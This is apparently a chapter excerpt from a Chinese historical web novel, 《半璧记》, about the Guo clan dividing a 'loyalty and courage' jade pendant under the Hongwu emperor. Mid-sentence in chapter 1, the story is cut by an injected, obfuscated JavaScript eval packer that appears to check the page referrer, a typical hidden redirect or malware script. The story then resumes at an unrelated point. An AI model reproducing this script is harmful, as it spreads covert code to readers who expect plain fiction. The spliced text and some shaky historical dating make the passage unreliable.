《半璧记》 1. 第一卷 淮西裂璧 第1章 临淮堂训 洪武十年三月望日,淮西临淮郭府。 檐外的老槐树已抽新绿,细碎的白花缀满枝桠,风过处,花瓣簌簌落在青石板上,混着庭院里煮酒的香气,漫出朱红大门。府内正厅“临淮堂”三字匾额高悬,黑底金字,是太祖皇帝亲题,笔力遒劲,透着开国君主的威仪。匾额下,青铜鼎炉燃着檀香,烟气袅袅,缠绕着堂中觥筹交错的笑语,却压不住那藏在笑语背后的,一丝若有若无的凝重。 郭兴,当朝巩昌侯,年近五十,身着绯色常服,腰束玉带。他面容刚毅,额间刻着几道深深的纹路,那是鄱阳湖的炮火、潼关的风雪、漠北的沙尘共同雕琢的印记。此刻他端坐主位,左手按在案几上,指节微微泛白——连日来的军务操劳,让他旧伤隐隐作痛,但在今日的家宴上,他依旧挺直了脊背,目光如炬,扫视着堂中众人。 “兄长,尝尝这新酿的青梅酒。”身旁的郭英轻声开口。武定侯郭英比郭兴小三岁,身形略瘦,眉眼间少了几分兄长的锐利,多了几分内敛。他执起酒壶,给郭兴的酒杯添满,“去年冬天窖藏的,今日正好开封。” 郭兴端起酒杯,浅酌一口,青梅的酸涩混着酒香滑入喉间,他微微颔首:“不错,比去年的醇厚些。”话锋一转,声音压低了几分,“近日朝中动静,你可知晓?” 郭英执壶的手一顿,随即恢复如常,也饮了一口酒:“兄长指的是胡丞相那边?” “正是。”郭兴放下酒杯,指尖在案几上轻轻敲击,“听闻他近日广结党羽,朝堂上半数官员都唯他马首是瞻。主上性情,你我深知,岂容他人分权?” 堂中虽有宾客谈笑,却多是郭氏族人及心腹旧部,故而兄弟二人议事并未避嫌。郭英眉头微蹙:“兄长所言极是。前日入宫,见主上神色不悦,似有烦心事。我等身为武将,当谨守本分,莫要卷入文官纷争。” “说得容易。”郭兴轻叹一声,目光扫过堂下,“树欲静而风不止。我等是淮西勋贵,又是皇亲——宁妃在宫中,皇上与我郭家沾亲带故,胡惟庸岂能不对我等有所猜忌?” 郭英沉默片刻,缓缓道:“唯有‘忠’字立身。我等自濠州起兵便追随主上,鄱阳湖之战、平定中原、北伐蒙元,大小百余战,军功在册,忠心可昭日月。只要谨言慎行,想必主上不会多疑。” 郭兴不置可否,只是再次端起酒杯,一饮而尽。酒入愁肠,暖意未生,反倒添了几分沉重。他想起二十年前鄱阳湖的烽火,战船相连如城,他率水军纵火焚敌,火光映红了半边天,那是何等的壮怀激烈。可如今,刀枪入库,马放南山,朝堂之上的暗箭,却比战场上的刀剑更难防备。 堂下两侧,郭家子弟与亲眷、挚友分坐。左侧首位,是郭兴长子郭景振(郭兴长子郭景仪早年战死,现郭景振为长),年方二十,身着锦袍,面容俊朗,眉宇间却带着几分挥之不去的骄纵。他正与身旁几位勋贵子弟谈笑风生,声音洪亮,引得众人侧目。 “景振兄,听闻令尊近日又获主上赏赐?”邻座的魏国公徐达之子徐辉祖是郭景振挚友,他探身问道。 郭景振得意一笑,扬了扬下巴:“不过是些绸缎银两罢了。家父随主上征战多年,这点赏赐算不得什么。”他顿了顿,压低声音,“说实话,我瞧那胡惟庸也没什么本事,不过是会揣摩主上心思罢了。若论真才实学,他不及汝父万一。” 徐辉祖眉头一皱,连忙摆手:“景振兄慎言!朝堂之事,不可妄议。” “怕什么?”郭景振不以为然,“咱们父辈都是开国功臣,咱家又是皇亲,难道还不能说句实话?我看他胡惟庸蹦跶不了多久!” 这番话声音不大,却恰好传到主位上的郭兴耳中。郭兴脸色一沉,猛地放下酒杯,杯底与案几相撞,发出“咚”的一声闷响,堂中顿时安静下来。 “放肆!”郭兴沉声道,目光如利剑般射向郭景振,“朝堂之事,岂容你在此妄议?主上圣明,胡丞相辅政有功,轮得到你置喙?” 郭景振被父亲当众训斥,脸上一阵红一阵白,却依旧梗着脖子:“父亲,儿子只是实话实说……” “实话?”郭兴怒极反笑,“你所谓的实话,不过是年少轻狂的妄语!我郭家能有今日的地位,全凭主上恩宠,凭一代代人沙场喋血换来的。若因你这张嘴惹祸上身,我定不饶你!” 郭英连忙打圆场:“兄长息怒,景振年轻,不懂事,日后多加管教便是。”他转向郭景振,语气严厉,“还不快给你父亲赔罪?” 郭景振虽心有不甘,却也知道父亲是真的动了怒,只得站起身,躬身道:“儿子知错了,以后再也不敢了。” 郭兴冷哼一声,不再看他,目光转而落在堂下右侧的次子郭景扬身上。 郭景扬年方十六,身着素色儒袍,身形清瘦,面容清秀。与长兄的张扬不同,他自始至终都安静地坐着,手中捧着一杯未动的酒,目光平和,仿佛对堂中的纷争毫无兴趣。他不像郭景振那般自幼习武,反倒对读书写字情有独钟,府中藏书几乎被他翻遍,性子也愈发沉稳内敛。 “景扬。”郭兴开口,语气缓和了许多。 郭景扬闻言,连忙起身躬身:“父亲。” “方才你兄长的话,你都听到了?” “回父亲,听到了。”郭景扬声音平静,“兄长所言,确有不妥。朝堂之事,当由主上与大臣决断,我等晚辈,不该妄加评论。” “你明白就好。”郭兴点点头,眼中闪过一丝欣慰,“你虽年轻,却比你兄长沉稳许多。”他顿了顿,从怀中取出一物,托在掌心。 那是一块玉佩,约莫巴掌大小,质地温润,是上好的和田白玉。玉佩被打磨得极为光滑,正面刻着两个篆字,笔力苍劲,正是“忠勇”二字,字缝间还残留着淡淡的朱砂痕迹,显然是常年佩戴摩挲所致。 “此乃我郭家传家之宝。”郭兴的声音低沉而郑重,堂中所有人的目光都集中在这块玉佩上,“当年你祖父郭山甫,便是带着这块玉佩追随主上,他老人家嘱我等辅佐圣主,不得有二心。如今,从濠州一路打到应天。想当年,鄱阳湖之战,我身配此玉尽力护主,身中三箭,玉佩被箭簇击中,却也替我挡了致命一击。这块玉,是我郭家的护身符,更是我郭家的家训。” 郭英也站起身,目光灼灼地看着那块玉佩:“兄长说得是。这块玉佩,见证了我郭家的忠勇,也承载着主上的信任。” 郭兴缓缓走到郭景扬面前,将玉佩郑重地放入他手中。玉佩触手温润,带着父亲掌心的温度,郭景扬能清晰地感受到“忠勇”二字的棱角,心中一凛。 “此子可托。”郭兴的声音不大,却字字千钧,“景扬,今日我将这传家玉佩交予你。你要记住,‘忠勇’二字,‘忠’为立身之本,‘勇’为行事之基。对君忠,对亲孝,对友义,这便是‘忠’;临危不惧,迎难而上,这便是‘勇’。你兄长虽为长子,袭爵承业,却性情浮躁,恐难担此重任。你需持此玉,牢记家训,日后若家族有难,你当挺身而出,保全族人。” 这番话如同惊雷,在堂中炸开。所有人都惊呆了——按照常理,传家之宝理应传给长子,更何况郭景振还是巩昌侯爵位的法定继承人。郭景扬更是受宠若惊,捧着玉佩,一时间竟不知该如何回应。 “父亲,这……这万万不可!”郭景扬连忙推辞,“传家宝理应传给长兄,儿子不敢受此重任。” “这是我的决定,你不必推辞。”郭兴按住他的手,目光坚定,“我知道你性子沉稳,心思缜密,比你兄长更能守住这份家业,守住郭家的‘忠勇’二字。” 郭景振站在一旁,脸色铁青,拳头紧握,指甲几乎嵌进肉里。他万万没想到,父亲不仅当众训斥他,还将传家玉佩交给了次子。在他看来,这不仅是对他的羞辱,更是对他继承人地位的否定。他猛地抬起头,眼中满是不甘与怨怼,却在触及父亲严厉的目光时,又硬生生压了下去,只是嘴角的肌肉依旧不住地抽搐。 郭英看着这一幕,心中暗叹。他知道兄长的良苦用心——景振虽勇,却失之浮躁;景扬虽文,却有静气。如今朝堂风云变幻,郭家身处风口浪尖,唯有沉稳之人,方能在乱世中保全家族。他走上前,拍了拍郭景扬的肩膀:“景扬,你父亲眼光独到,你当不负所托。持此玉,守家训,日后我与你父亲,都会助你。” 郭铭,郭英之子,年十九,生得英气勃发,此刻也走上前,对着郭景扬拱手道:“景扬弟,父亲与伯父慧眼识珠,你性情沉稳,确是持玉之人。日后若有需要,愚兄定当鼎力相助。” 郭景扬看着手中的玉佩,又看了看父亲坚定的目光、叔父温和的眼神、堂兄真诚的表态,心中明白,这份责任,他推不掉,也不能推。他深吸一口气,郑重地将玉佩贴身藏好,躬身道:“孩儿定当谨记父亲教诲,不负家族厚望,以‘忠勇’二字立身,守护族人,报效国家。” 郭兴满意地点点头,回到主位坐下。堂中的气氛渐渐恢复,觥筹交错间,却多了几分微妙的变化。郭景振自始至终闷闷不乐,独自饮酒,不再与人谈笑;郭景扬则依旧安静地坐着,只是偶尔抚摸胸前的玉佩,眼神中多了几分坚定。 酒过三巡,菜过五味,郭兴再次起身,目光扫过堂中众人,语气凝重:“今日家宴,除了饮酒叙旧,还有一事,我要当着诸位的面宣布。” 众人纷纷放下酒杯,静待下文。 “近来朝中不宁,主上有意整肃纲纪。”郭兴缓缓道,“我郭家世代忠良,切不可在此时惹祸上身。自今日起,临淮堂家训新增一条——‘慎言慎行,不涉党争,不议朝政,专心本业’。” 他顿了顿,目光重点落在郭景振身上:“景振,你明日起,随我入军营历练,从百户做起,磨一磨你的性子。军中纪律森严,我倒要看看,你能不能收起你的骄纵,真正明白‘忠勇’二字的含义。” 郭景振心中一沉,他本以为父亲只是训斥他几句,没想到竟要将他派去军营从百户做起。这对于身为侯府长子的他来说,无疑是一种惩罚。但他不敢反驳,只得躬身应道:“儿子遵令。” “景扬。”郭兴转向次子,“你留在府中,协助你母亲打理家事,熟悉族中事务。你性子沉稳,细心谨慎,我相信你能办好。” 郭景扬躬身领命:“孩儿遵令。” 郭兴又看向郭英:“贤弟,你我兄弟二人,当以身作则,约束族人。日后若非主上召见,尽量少入京城;若非必要,不与朝中官员私交过密。安安稳稳做好分内之事,方能保家族长久。” 郭英郑重点头:“兄长所言极是,我定当照办。” 家宴散后,已是月上中天。郭府后院,月光如水,洒在青石小径上,映出斑驳的树影。郭景扬独自站在老槐树下,手中捧着那块“忠勇”玉佩,月光下,玉佩温润如玉,“忠勇”二字熠熠生辉。 “景扬弟。”身后传来脚步声,郭铭提着一盏灯笼走来。 郭景扬转身,拱手道:“铭哥。” 郭铭走到他身边,看着他手中的玉佩,笑道:“这块玉,在伯父手中戴了二十多年,今日终于交到你手上了。” “铭哥,你说我能担此重任吗?”郭景扬轻声问道,语气中带着一丝不确定。 郭铭拍了拍他的肩膀:“景扬弟,你不必妄自菲薄。你虽不善言辞,却心思缜密,沉稳有度。伯父将玉佩交给你,正是看中了你的这份心性。如今朝堂风云变幻,郭家需要的不是张扬的勇,而是内敛的智。” 他顿了顿,压低声音:“我知道景振兄心中不快,但你也不必太过在意。他性子浮躁,确实需要历练。你只需做好自己该做的事,守住家训,保全族人,便是对伯父最好的回报。” 郭景扬点点头:“铭哥所言,我记下了。” “还有一事。”郭铭从怀中取出一个小锦盒,递给郭景扬,“这是我父亲让我交给你的。” 郭景扬打开锦盒,里面是一枚小小的玉哨,质地与“忠勇”玉佩相似,显然是出自同一块玉料。 “这玉哨是当年祖父打造‘忠勇’玉佩时,余下的边角料所制。”郭铭解释道,“我郭家与你郭家同为一脉,这玉哨与‘忠勇’玉佩气息相通。日后若有急事,可吹此哨,我郭英府中之人,定会赶来相助。” 郭景扬握紧玉哨,心中一阵温暖:“多谢叔父与铭哥厚爱,景扬感激不尽。” “你我兄弟,不必言谢。”郭铭笑道,“天色不早了,你早些歇息吧。日后有什么难处,尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“二少爷,这是府中近三个月的账册,请您过目。”老管家郭福将一摞厚厚的账册放在郭景扬面前。郭福在郭府效力三十余年,看着郭兴兄弟长大,对郭家忠心耿耿。 郭景扬点点头,翻开账册仔细查看。他虽年幼,却在读书之余,跟着郭福学过记账,对账目并不陌生。账册记录得十分详细,从田庄的收成到府中的日常开销,一笔一笔,清晰明了。 但看了半个时辰,郭景扬便发现了问题。 “郭福伯,”他指着账册中的一页,“这笔‘修缮西跨院’的支出,上个月已经记录过一次,为何这个月又有一笔相同的支出?” 郭福凑近一看,脸色微变:“这……老奴记得西跨院上个月确实修缮过,怎么会再有一笔?”他连忙翻阅前面的账册,确认上个月确实有一笔数额相同的修缮费支出。 “去把负责记账的刘先生叫来。”郭景扬沉声道。 不一会儿,账房先生刘德被带到。他约莫四十岁,是郭府请来的账房,平日里看似老实本分。 “二少爷,您找我?”刘德躬身问道,眼神中闪过一丝慌乱。 郭景扬指着账册上的两笔修缮费:“刘先生,这两笔支出,都是修缮西跨院的?西跨院一个月内,需要修缮两次?” 刘德脸色一白,支支吾吾道:“这……这是老奴一时疏忽,记错了……” “疏忽?”郭景扬冷笑一声,“一笔支出纹银五十两,并非小数目,你会疏忽记错?我看你是故意虚设账目,中饱私囊吧!” 刘德浑身一颤,膝盖一软,跪倒在地:“二少爷饶命!老奴一时糊涂,贪念作祟,才做出这等蠢事!求二少爷念在老奴为郭府效力多年的份上,饶了我这一次!” 郭景扬看着他,眼神平静却带着威严:“郭家家训,首重‘忠’字。你在郭府效力,却暗中贪污,违背家训,辜负了家族的信任。”他顿了顿,继续道,“念在你初犯,且主动认罪,今日从轻发落。扣除你全年俸禄,即刻离开郭府,永不再用!” “多谢二少爷饶命!多谢二少爷!”刘德连连磕头,起身狼狈地离开了账房。 郭福看着这一幕,心中暗暗赞叹:二少爷年纪虽轻,却处事果断,明辨是非,难怪老爷会将传家玉佩交给她。 “郭福伯,”郭景扬转向老管家,“日后府中账目,还需劳您多费心核查。凡是涉及大额支出,必须报我过目后方可执行。” “老奴明白。”郭福躬身应道。 处理完账房的事,郭景扬又马不停蹄地查看了府中的库房、厨房、田庄等各处事务。他细心谨慎,凡事亲力亲为,发现问题及时解决,短短几日,便将府中事务打理得井井有条,赢得了府中上下的一致好评。 然而,郭景扬心中清楚,府中的平静只是暂时的。朝堂上的风暴,终究会波及到这座看似安稳的侯府。他每日处理完家事,便会回到房间,研读兵法谋略,练习武艺——他知道,仅凭读书写字,无法在即将到来的乱世中保全家族。他必须文武双全,才能不负父亲的重托,不负那块“忠勇”玉佩的期许。 这一日,郭景扬正在书房研读《孙子兵法》,郭福突然匆匆赶来:“二少爷,武定侯府派人送来急信,说有要事相商。” 郭景扬心中一凛,连忙接过信件。信是郭英亲笔所写,字迹潦草,显然是仓促之下写就。信中只有寥寥数语:“胡惟庸案发,主上震怒,恐牵连甚广。速嘱你父收敛锋芒,约束族人,莫要卷入其中。切记,‘忠勇’二字,此时当以‘慎’为先。” 郭景扬握着信纸,手指微微颤抖。他知道,父亲最担心的事情,终究还是发生了。一场巨大的政治风暴,已经席卷而来,而他的家族,正身处风暴的中心。 他快步走到窗前,望着庭院中依旧繁茂的老槐树,抚摸着胸前的“忠勇”玉佩。玉佩温润依旧,却仿佛带着一丝冰冷的寒意。他深吸一口气,眼中闪过一丝坚定:父亲,叔父,放心吧,我定会守住郭家,守住这份“忠勇”。 只是他不知道,这场风暴的猛烈程度,远远超出了他的想象。郭家的命运,即将在这场风暴中,迎来第一次剧烈的转折。而他手中的这块玉佩,将成为家族破碎后,唯一的念想与凭证。 2. 第一卷 淮西裂璧 第2章 火攻余烬 洪武十二年孟夏,淮西的暑气来得格外凶猛,日光如熔金般泼洒在巩昌侯府的演武场上,青石地面被晒得发烫,踩上去能透过军靴灼到脚心。演武场高台上,郭兴身着玄色窄袖军袍,腰束嵌铜玉带,肩上的猩红披风被汗水浸得发沉,却依旧挺得笔直。他鬓角的霜色比去年又重了几分,眼角的皱纹里积着汗渍,每一次发号施令,声音都带着一丝难以察觉的沙哑,可那双眼睛依旧锐利如鹰,扫过台下操练的士兵时,能让最顽劣的兵卒都收敛心神。 “弓步稳扎!出拳带风!”郭兴的声音穿透午后的闷热,砸在演武场上,“你们是巩昌侯府的亲卫,不是街头的闲散汉子!每一拳都要能杀敌,每一刀都要能破阵,若连这点本事都没有,将来如何随我上阵?” 台下,郭景振身着亮银色鳞甲,正领着一队亲卫操练军阵。他今年二十岁,两年前从百户做起,凭着几场小功升了千户,眉眼间尽是少年得志的锋芒。汗水顺着他的下颌滴落,砸在青石上晕开一小片湿痕,可他动作依旧凌厉,转身、劈刀、格挡,每一招都力求标准,眼角的余光却总忍不住往高台上飘——父亲腰间那处,曾贴身藏着郭家的传家宝“忠勇”玉佩,如今空落落的,让他心里也跟着发空。 两年前的家宴,像一根细刺扎在郭景振心里。那日父亲将“忠勇”玉佩交到二弟郭景扬手中,语重心长地说“景扬沉稳,能守家业”,那一刻,他觉得满座宾客的目光都带着嘲讽,仿佛在说他这个长子不配继承家业。这两年他在军中拼尽全力,大小军功攒了不少,就是想让父亲看看,他才是郭家最该扛旗的人,那块玉佩,本该是他的。 操练间隙,郭景振擦了擦额角的汗,大步流星地走上高台,甲胄碰撞声清脆作响:“父亲,将士们已练了三个时辰,日头太毒,不少人都中暑了,可否歇息片刻?” 郭兴点点头,刚要开口,忽然一阵剧烈的咳嗽涌上来,他忙用手帕捂住嘴,指缝间渗出血丝。他不动声色地将手帕揣进袖中,沉声道:“准了。你随我回书房。” 父子俩穿过侯府的回廊,两旁的石榴花开得正盛,火红的花瓣落了一地,衬得郭兴苍白的脸色愈发刺眼。郭兴走得很慢,每一步都像是在与身体里的疲惫较劲,呼吸也越来越急促,连披风的重量都像是压得他喘不过气。 “父亲,您身子不适,为何还要亲自督阵?”郭景振忍不住问,语气里有担忧,更多的却是急于证明自己的迫切,“军中之事,儿子打理便可。” “你懂什么。”郭兴放缓脚步,目光望向远方的天空,云层厚重得像要坠下来,“我郭家世代从军,你祖父跟着主上起兵濠州,我跟着主上平定天下,大小百余战,哪一次不是在刀尖上讨生活?你若连这点苦都吃不了,日后如何承袭爵位,护得住郭家?” 他转头看向郭景振,眼神锐利如刀:“这两年你在军中的表现,我看在眼里。军功有了,性子却还是浮躁。前日操练,你因副将出枪慢了半拍就当众罚他,可知‘爱兵如子’四字怎么写?身为将领,武艺是其次,能收拢人心,才是真本事。” 郭景振的脸瞬间涨红,躬身道:“父亲教诲,儿子谨记。”心里却不服气——军令如山,有错就该罚,婆婆妈妈的,如何能带出精锐? 书房里,檀香袅袅,总算驱散了些许暑气。郭兴坐在太师椅上,端起侍女奉上的清茶,浅酌一口润了润喉咙。他看着郭景振,缓缓开口:“你可知我为何非要你在军中磨着?” “父亲是想让儿子习得兵法,磨平性子,日后能独当一面。”郭景振答道。 “只说对了一半。”郭兴摇摇头,起身走到墙边悬挂的《鄱阳湖之战图》前。这幅图是他亲手画的,上面密密麻麻标着当年的布阵与攻防路线,墨迹虽干,却像是还能闻到硝烟味。“洪武元年,鄱阳湖之战,陈友谅率六十万大军,战船千艘,联营数十里,号称‘江东王’。那时主上兵力不足十万,战船矮小,粮草也跟不上,稍有不慎,便是全军覆没。” 他伸出手指,在图上划过一条火红色的进攻路线:“那晚风急浪高,我领着敢死队,驾着装满火药和柴草的小船,趁着夜色冲进去纵火。火借风势,风助火威,陈友谅的战船瞬间成了火海,火光映红了半边天,连江水都被染成了红的。” 郭景振听得热血沸腾,他从小就听父亲讲鄱阳湖的故事,每次都恨不得立刻披甲上阵,像父亲一样建功立业,光耀门楣。 “那场仗,我们赢了,却也败得惨烈。”郭兴的声音低沉下来,带着难以掩饰的伤痛,“我的副将赵德胜,你的赵伯父,为了护我撤退,身中七箭,沉了江,连尸骨都没找回来。还有许多跟着我多年的兄弟,都永远留在了鄱阳湖。” 他从怀中取出那块“忠勇”玉佩,递到郭景振手里。玉佩温润,入手微凉,“忠勇”二字在日光下泛着柔光,中间一道浅浅的裂痕,正是当年那支流箭留下的印记。“当时一支箭射向我心口,是这块玉佩替我挡了一下,我才捡回一条命。”郭兴的眼中泛起泪光,“这不是普通的玉佩,是无数将士用命换来的护身符,它装着的是郭家的忠勇,是兄弟的情分,是整个国家的安危。” 郭景振捧着玉佩,指尖轻轻摩挲着那道裂痕,心里五味杂陈。他一直以为父亲把玉佩给二弟,是看不起他,可此刻才知道,这玉佩背后,藏着这么重的分量。 “父亲,”郭景振抬起头,眼中满是恳求,“儿子知道错了。这两年儿子在军中日夜操练,就是想向您证明,儿子能担起守护家族的责任,能配得上这块玉佩。求父亲把它赐给儿子吧!” 郭兴看着长子眼中的急切,心里微微一动。景振这两年确实长了不少,可性子还是太躁,不够沉稳。如今朝堂风云变幻,胡惟庸案的余波还没散,郭家身为淮西勋贵,又是皇亲,处境本就艰难,这样的性子,如何能在乱世里保全家族? “景振,这块玉佩的归属,不是我一时兴起。”郭兴拿回玉佩,重新贴身藏好,“景扬日前特意找过我,说愿把玉佩还给你,他是真心为了兄弟和睦,这份仁义,你该学学。” 他顿了顿,语气愈发凝重:“如今朝中不宁,主上对功臣的猜忌越来越深。我们郭家树大招风,稍有不慎就会万劫不复。你是长子,日后袭爵,更要谨言慎行,别意气用事,否则不仅害了自己,还会连累整个家族。” 郭景振心里一凛,他在军中也听过不少风声,胡惟庸案牵连了不少人,已有几位功臣被诛杀。他连忙躬身道:“儿子记住了,日后定当谨言慎行。” 郭兴满意地点点头:“你明白就好。下去歇着吧,明日继续操练。” 郭景振躬身行礼,转身走出书房。到了门口,他忍不住回头看了一眼,只见父亲正扶着案几剧烈咳嗽,脸色白得像纸,心里忽然涌起一股莫名的不安。 送走郭景振,郭兴瘫坐在太师椅上,胸口剧烈起伏。侍女连忙上前递上温水和药丸,郭兴服下后,闭目养神了好一会儿,气色才稍稍好转。他睁开眼,对侍女道:“去把二少爷叫来。” 不多时,郭景扬来了。他穿着一身素色儒袍,面容清秀,神色平静,和郭景振的英气勃发截然不同。这两年他留在府中打理家事,把侯府上下管得井井有条,族中长辈提起他,没有不夸的。 “父亲,您找我?”郭景扬躬身行礼,目光落在父亲苍白的脸上,满是真切的关切,“您脸色这么差,要不要请太医来看看?” “老毛病了,不碍事。”郭兴示意他坐下,“这两年府里的事,多亏了你,做得很好。” “这是儿子分内之事,不敢当父亲夸奖。”郭景扬谦逊地说。 郭兴看着次子,眼中满是欣慰:“景扬,你性子沉稳,做事细心,是难得的人才。这两年你不仅把家事打理得妥当,还没落下读书习武,这份毅力,很难得。” 他从怀中取出那块“忠勇”玉佩,放在案几上:“这块玉佩,我两年前交给你,是希望你能守住郭家的‘忠勇’,保全家族。可这两年,我看着你兄长在军中的成长,也知道他心里的不甘。” 郭景扬心里一动,连忙起身躬身道:“父亲,儿子明白您的意思。这块玉佩本就该属于长兄,他是侯府的继承人,日后要袭爵承业,守护家族。儿子愿意把玉佩还给长兄,只求家族和睦。” 郭兴看着次子,眼中闪过一丝惊讶,随即化为深深的赞许。他没想到景扬竟如此深明大义,主动提出退回玉佩。这更让他确信,景扬不仅沉稳,还有宽广的胸怀,这样的人,才能在关键时刻为郭家撑起一片天。 “景扬,你有这份心,我很欣慰。”郭兴缓缓道,“可这玉佩的归属,不是儿戏。你兄长虽有成长,性子却还是浮躁,恐难在乱世里保全家族。” 他拿起玉佩,递到郭景扬手中:“你先收好。我知道你兄长心里不甘,但我相信,假以时日,他会明白我的苦心。你是弟弟,多包容他些,兄弟同心,其利断金,只有你们和睦,郭家才能长久。” 郭景扬捧着玉佩,心里一阵感动,却又把玉佩放回案几:“父亲,儿子定当和长兄和睦相处,共同守护家族。但这玉佩,还是由父亲保管为好。” 看着次子坚定的眼神,郭兴满意地点点头。可他心里清楚,事情没这么简单。景振的不甘,不是一句“和睦相处”就能化解的。如今朝堂形势越来越严峻,胡惟庸案的调查还在继续,不少淮西勋贵都被卷了进去。他必须为郭家的未来做好打算,为两个儿子铺好后路。 送走郭景扬,郭兴独自坐在书房,直到夜幕降临。烛火摇曳,映着墙上的《鄱阳湖之战图》,那些战火纷飞的岁月,那些并肩作战的兄弟,那些主上的信任与恩宠,一一浮现在眼前。他知道自己的身体越来越差,必须在有生之年,为两个儿子安排好一切,确保郭家在这场政治风暴中能保全。 洪武十二年孟夏十五,月上中天,银辉像一层薄纱,铺满了巩昌侯府的庭院。书房内,烛火通明,案几上那块“忠勇”玉佩静静躺着,温润的光泽在烛光下流转,却让满室的气氛都变得肃穆起来。 郭兴身着素色常服,端坐于太师椅上,脸色苍白得近乎透明,却透着一股不容置疑的决绝。他左侧坐着郭英,武定侯府的主人,这位和他一同从濠州起兵的兄弟,此刻神色凝重,眉头紧锁。右侧站着郭铭,郭英的长子,英气勃勃,目光沉稳,腰间的佩剑未出鞘,却透着一股凛然之气。郭景振与郭景扬兄弟分立案前,一个神色急切,攥紧了拳头,一个平静淡然,双手垂在身侧,两人的目光却都紧紧落在案几上的玉佩上。 “今日叫你们来,是有件关乎郭家存续的大事要办。”郭兴的声音沙哑,却异常坚定,目光扫过众人,最后定格在玉佩上,“这块‘忠勇’玉佩,是郭家的传家宝,从你祖父那辈传下来,见证了郭家从濠州起兵到封侯拜将的荣耀。两年前我把它交给景扬,是看中他的沉稳与担当。可这两年,景振在军中的成长,我看在眼里;他心里的不甘,我也记在心里。” 郭景振的身子微微一震,眼中闪过惊喜,随即又有些忐忑。他盼了两年的东西,终于要来了吗?可父亲这严肃的样子,又让他心里没底。 郭兴继续道:“如今朝堂风云变幻,胡惟庸案的余波未平,主上对功臣的猜忌越来越深。我们郭家是淮西勋贵之首,又是皇亲——宁妃在宫中,太子和我郭家沾亲带故,看似荣耀,实则如履薄冰。唯有兄弟同心,才能共渡难关。若兄弟反目,郭家必遭灭顶之灾。” 他顿了顿,拿起玉佩,指尖轻轻摩挲着中间那道旧痕:“为了郭家能延续,为了你们兄弟和睦,我决定,把这块玉佩劈成两半。” “父亲不可!”郭景扬率先开口,语气急切,“玉佩是先祖留下的遗物,承载着郭家的忠勇,怎么能随意劈裂?儿子真的不需要,把它给长兄就好!” 郭景振也愣住了,他想要的是完整的玉佩,是无可争议的继承权,可不是这被劈裂的一半。可话到嘴边,却变成了:“父亲,这……是不是太草率了?” “事到如今,已无他法。”郭兴摇摇头,语气决绝,“玉佩再珍贵,也比不上家族的存续、兄弟的和睦。我意已决,你们不必多言。” 郭英坐在一旁,沉默片刻,沉声道:“兄长深思熟虑,必有道理。景振、景扬,你们要体谅父亲的苦心。”他和郭兴兄弟情深,自然明白兄长的难处。如今家族面临危难,只有让兄弟二人都得到认可,才能让他们放下芥蒂,携手共渡难关。 郭兴看向郭英,眼中闪过一丝感激。他示意下人取来一把匕首,那是当年鄱阳湖之战后,主上亲自赏赐的御用匕首,柄上刻着“洪武御赐”四字,削铁如泥,在烛光下闪着寒光。 郭兴拿起匕首,手指微微颤抖。这块玉佩陪了他二十多年,从一个普通士兵到巩昌侯,从硝烟弥漫的战场到繁华的侯府,它见证了太多。如今,他却要亲手将它劈开。 “父亲,”郭景扬还想劝说,“儿子真的什么都不要,只要兄长能安心,家族能和睦,就够了。” “景扬,别说了。”郭兴打断他,“这不是你愿不愿意的事,是郭家的命运需要。你兄长需要这份认可,郭家需要你们兄弟同心。” 他深吸一口气,不再犹豫,手中的匕首对准玉佩中间的旧痕,猛地落下。只听“咔嚓”一声轻响,温润的白玉瞬间裂开,左半块刻着完整的“忠”字,边缘齐整;右半块刻着“勇”字,断裂处虽有些参差不齐,却透着一股破釜沉舟的决绝。 书房里一片寂静,只有烛火燃烧的“噼啪”声。郭景振看着那半块“忠”字玉佩,心里五味杂陈,这是他梦寐以求的,却以这样破碎的方式到来。

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郭铭也上前一步,对着郭景扬拱手道:“景扬弟,放心吧。无论何时何地,只要你持此玉佩来找我,我定全力以赴,护你周全。” 郭景扬接过玉佩,贴身藏好,躬身道:“多谢叔父,多谢铭哥。儿子定当谨记父亲教诲,以‘勇’立身,守护家族。” 郭兴看着两个儿子手中的半块玉佩,心里的石头总算落了地。他知道这个决定未必完美,却是眼下唯一能让兄弟二人放下芥蒂、共护家族的办法。 “你们记住,”郭兴的声音带着疲惫,却依旧有力,“玉佩虽裂,但郭家的‘忠勇’不能裂,兄弟的情谊不能裂。‘忠’是根基,‘勇’是羽翼,只有二者相辅相成,郭家才能在乱世中立足。日后不管遇到什么事,都要相互扶持,相互照应。” “儿子谨记父亲教诲。”兄弟二人同时躬身道。 郭兴满意地点点头,忽然一阵剧烈的咳嗽袭来,他的身体晃了晃,郭英连忙上前扶住他:“兄长,快坐下歇息。” 郭兴靠在椅上,喘了口气,对众人道:“我累了,你们都下去吧。铭儿,你留下。” 众人纷纷退下。郭景振走出书房时,握紧了手中的“忠”字玉佩,心里暗下决心,一定要做出一番成绩,让父亲知道,他没选错人。郭景扬则步伐沉稳,他知道,父亲把更重的责任交给了他,这份“勇”,是要他在关键时刻,为郭家撑起一片天。 书房内,郭铭留在原地,关切地看着郭兴:“伯父,您还是请太医来看看吧。” “不必了。”郭兴摆摆手,从怀中取出一枚小巧的玉哨,递给郭铭,“这枚玉哨,和当年你府里送景扬的那枚是一对,用的是打造玉佩剩下的边角料。你收好,日后景扬若持玉哨来找你,也能配成一对。” 他的语气变得凝重:“铭儿,景扬性子沉稳,却不善交际,遇事喜欢隐忍。日后他若找你,你一定要好好照拂。我看如今的朝堂形势,恐有大变。郭家若能平安,自然最好;若不能,景扬就是郭家延续香火的希望。你要帮他保住性命,守住郭家的‘勇’字初心。” 郭铭接过玉哨,郑重地贴身藏好,躬身道:“伯父放心,侄儿定不负所托,好好照拂景扬弟,守住郭家的希望。” 郭兴点点头,闭上眼睛,疲惫地靠在椅上:“你也下去吧。” 郭铭行礼退出,书房里只剩下郭兴一人,烛火摇曳,映着案几上的裂痕,像他心中解不开的忧虑。 接下来的日子,郭兴的身体时好时坏,大多时候都卧病在床,府中事务交给郭景扬打理,军中操练则由郭景振主持。 